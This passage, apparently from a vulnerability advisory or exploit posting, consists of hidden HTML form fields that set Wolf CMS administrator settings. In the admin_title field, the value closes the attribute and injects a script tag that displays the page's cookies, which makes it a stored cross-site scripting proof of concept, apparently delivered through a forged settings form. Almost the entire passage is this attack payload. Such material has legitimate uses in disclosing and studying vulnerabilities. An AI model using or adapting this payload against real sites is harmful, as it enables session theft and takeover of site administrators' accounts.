available:

<input type="hidden" name="setting[admin_title]" value='Wolf 
CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[admin_email]" value="email@xxxxxxxxxxx">
<input type="hidden" name="setting[language]" value="pl">
<input type="hidden" name="setting[theme]" value="brown_and_green">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
